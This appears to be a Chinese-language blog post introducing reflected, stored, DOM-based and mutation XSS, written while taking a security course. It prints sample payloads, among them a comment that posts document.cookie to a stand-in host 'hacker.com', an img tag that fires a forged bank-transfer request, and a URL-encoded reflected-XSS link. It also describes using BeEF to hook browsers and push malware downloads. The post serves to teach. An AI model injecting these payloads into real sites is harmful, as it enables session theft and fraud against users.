XSS 的分类与利用方式

XSS(跨站脚本攻击,注意是跨站,不是跨域,二者的区别大家可以自行搜索)漏洞已经是一个老生常谈的前端安全威胁了。

但是其实到目前为止还是高居前端漏洞排行榜前十。

加上最近买了门关于网络安全漏洞大全的课程,当然主要目的还是保护自己的信息安全,哈哈哈。

课程大概分为五个部分,第一个部分是安全基础,都是些基础知识,比如HTML,CSS,JS,PHP,NGINX,Spring,网络协议等等,其实就是经典面试题,从你输入一个链接到收到网页会发生什么,这个问题,是一个极好的问题,甚至可以说是整个互联网所有技术的主干,你所有的知识,几乎都可以挂到真个问题上。

第二部分是后端安全,小部分是讲了文件上传漏洞,或者一些Nginx的漏洞,大部分讲的是SQL注入,这部分,看了一点我就觉得自己应该重新回去看数据库再回来看,因为基本看不懂。

所以直接跳到了第三部分的前端安全,上来就是这个XSS,又刷新了自己的一波认知,记录下。

XSS攻击的危害

在讲三种常见XSS之前,还是废话一下XSS攻击的基本原理。

大家都知道,我们看到的网页其实都是HTML,也就是我们小学计算机课就会听到的一个词,叫做“超文本标记语言”,它是用一个个的标签来表示自己想要呈现的内容,然后浏览器根据语言的设计标准,去将这些标签转化为图片,是的,没错,其实无论是什么软件,最后都是被绘制成了图片展现给用户的,网页和普通的软件并没有什么本质上的不同,对于计算机来说,最后一步都是给画成图片。

1
2
<div>这是一个div</div>
<img src="图片地址链接"/>

这是一段非常简单的html,实际的页面比这个复杂很多,大家可以随便打开一个网页,用开发者工具看看。

标签有很多种,有的标签是会发送请求或者执行代码的。

比如img标签,src属性其实就是发送了个请求,去获取src属性所指的服务器图片,当然,如果是个正常的网站,获取了图片之后,就会渲染成正常的图片,但如果这个src不是一个正常的图片地址,而是一个转账请求呢?比如以下这种

1
<img src="https://www.somebank/transformer/from/A/to/B/dollar/10000"/>

假设某个银行的转账请求就是这个https://www.somebank/transformer/from/A/to/B/dollar/1000,这个请求正常来讲,就是你在银行的官网选择从你的账户(A)给B转账才会发出的,一般是点一个按钮(html: ,这个东西渲染出来就是我们平时看到的按钮,可以看出来,本质上button和img都是一个标签而已)。

但如果不正常,你打开了一个网页,一个来历不明的网页,里面就是有这个图片,浏览器渲染这个img的时候,就会尝试去src的地址获取图片,但很不幸,这个地址并没有一个图片,你发送了一个转账请求,银行服务器只会告诉你,转账成功,那么没拿回图片来,这个图片本该出现的位置,可能就是一个简单的叉号,而你的钱已经没了。

img还算简单,只能发送get请求,如果是script标签,就是我们平时所说的js脚本存放的地方,如果给攻击者注入了脚本,那真就可以为所欲为了,你所有的信息都会被拿走,比如cookie(也就是你在某个网站的信息,拿到这个,就相当于你在该网站的所有权限都对黑客开放了,拿到这个,只需要简单的document.cookie就可以,只需要这几个字母,你的身份就被窃取了)。

XSS的基本攻击原理

上面讲了XSS的危害,那么讲讲基本原理,我们就以危害最大的script来举例,其实我们想办法给一个网站注入一个script标签。

这件事请其实也不难,我们刚才说过,所有的都是标签,一个正常的网页,比如论坛,很多人都可以在上面发表自己的言论,比如我我在一个帖子下面发表,“今天天气真好”,网页想要渲染,其实就是先把这句话转为了<span>今天天气真好</span>;

但是如果我发表的评论是<script>post('http://hacker.com/cookie', document.cookie)</script>;如果这个论坛做的不够安全,大家以为,这个东西会像正常的评论显示给你看吗?

并不会的,这东西会被渲染成script标签,而其中的代码(post('http://hacker.com/cookie', document.cookie))会被执行,你的cookie就会被发送到攻击者的服务器。

当然,发展到现在,很少有网站还有这种很基础的漏洞了,这个事情本来就是,黑客找到网站安全的绕过方式。

而最终目的,就是让自己的内容不是被认为是一段文本单纯的展示。

反射型XSS

这类的XSS比较基础,危害也比较小,它叫做反射型是因为,这个链接到了后端之后,后端解析完成,直接就返回给前端了,就像一次反射一样,并没有对后端产生影响。

它需要黑客构造一段url,然后诱惑用户去点击。

假设有个网站,当你登录成功之后,

他会跳转到一个新的地址,如http://localhost/xss_get.php?firstname=ray&lastname=sun

然后这个网站会从url里面这个固定位置,拿出这个ray 和 sun来渲染到页面 。

这个看起来没问题,但如果,你输入了一段脚本,http://site.com/user/<script>alert(document.cookie)</script>

这个时候,浏览器的表现就是这样:

如果我不是alert,而是发请求到后台,那么cookie就会被我窃取。

那么怎么防御呢?最基本的就是奇怪的url不要点,但是还是天真了。

第一种方式,有的网页会提示你让你抽奖,你点了以后,就等于点了这个链接,如

1
<img onclick="window.location.href=http://localhost/xss_get.php?firstname=ray&lastname=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&form=submit" src="这里确实是个图片地址"/>

你点了这个图片,就会出发onclick对应的代码,然后就会修改window.locaion.href,这东西改了,浏览器就会跳转。

第二种方式,短链或者二维码:

比如上面那个链接,去985.so,就会帮你转成这个:

总的来说,这个东西,完全可以没有任何特征,所以最根本的方法是不要乱点,不要乱扫码,你根本不知道后面是什么。

存储型XSS

这个类型的危害比较大,因为它是持久在了数据库了,所以叫做存储型。

比如我在这个网站发表一篇评论,内容就是我的名字:ray。

然后这个样子,看起来很正常,我发表的内容在回复这里了。

如果我尝试输入的评论是<script>alert('xss);</script>

浏览器会这样渲染

这有问题吗,完全没有问题,这就是浏览器的工作原理,你让我渲染一个script标签,我就渲染了。

但是结果就是这样:

alert就是弹出警告提示,但黑客都是直接发个请求就完事了。

我们可以看到,数据库的样子:

对于数据库来说,ray和<script>alert('xss);</script>都是一段文本,没有任何差别,这个script标签只对浏览器有意义。

但是接下来,每个打开这个帖子的人,都会加载这个恶意代码,为所欲为。

究竟可以多为所欲为呢?

介绍一个工具,BeEF,它提供了一个后台,一个后台管理页面,一段脚本,只要你想办法,把这个脚本注入进去,你可以做任何事。

简单看下这个脚本,很长,看看就行

我在本地启动了一个BeEF,然后我想办法把这个脚本注入进去.

比如这里:

成功以后,我就可以在BeEF后台看见你的所有信息,包括你的系统,浏览器,cookie等等

恐怖吗?还有更恐怖的,比如我可以诱导你下载恶意软件

然后你的浏览器就会显示这个:

如果你点了,就会下载我指定的文件,那很可能你的电脑都会被我远程控制,当然这是理论上,我暂时没这个能耐,哈哈哈哈

关于这个BeEF之后,再出一篇博客介绍,功能太多了,就不一一介绍了

结合文件上传漏洞的存储型XSS

有的文件是可以插入代码的,如svg中是可以插入script脚本,如果网站上传文件不加检测,可以上传一个带有恶意代码的svg图片,那么就会形成存储型XSS。

DOM型XSS

DOM型XSS其实算是反射型的一种,或者是补充,我们刚才说的反射型,需要请求到后台,后台提取链接信息,然后拼接整个网页给前端,可以看到,这对于前后端分离,或者说纯前端的项目是没有用的,因为它页面是前端动态改变的,而不是后端给的。

这种情况下,就需要用到DOM型的XSS了。

它是通过动态操作DOM树来实现的,不依赖于数据提交到服务器,如:

1
<script>document.write('<script>alert(document.cookie)</script>')</script>

他和反射型的相同点在于,没有控制好用户的输入,把script脚本作为标签渲染了。

不同点就在于是否经过服务器,反射型的页面是服务端根据url拼接完整页面给前端渲染,而DOM型是直接就在脚本里修改页面结构,插入一个script节点,或者说一开始的那种反射是用户输入与后端之间的反射,DOM反射是在用户输入与前端自身逻辑之间的反射,前端自身会根据用户输入做出反应。

DOM型的危害在于,它可以绕过前后端分离的场景,也可以不经过防火墙,因为它不过后端,那这个时候,安全问题就全在前端了

比如前端如果有这种逻辑:

这段代码直接就在前端从url中获取参数,修改页面结构了,而开始那种反射型,这段逻辑是在后端的。

剩下的基本和第一种反射型相同了

突变型XSS

这种XSS就比较奇妙了,是和不同浏览器对html标准不同的解析造成的,是的,就很烦,每家浏览器都想当标准制定者,然后就麻烦了。

攻击者输入看似安全的内容,在解析标记时经过浏览器重 写或者修改,发生突变,生成不安全的代码并执行,即 mXSS,极难被检测和过滤。

比如这段代码:

1
<div>I am trying to be <i>malicious</i> <u>here</u>! <img src=1 onerror=alert(1)></div>

可能你的浏览器对于这段代码是可以帮忙做过滤的,被你一通转译之后,浏览器的策略就失效了。

比如下面这个:

经过三步走之后,这段平平无奇的代码,就变成了漏洞。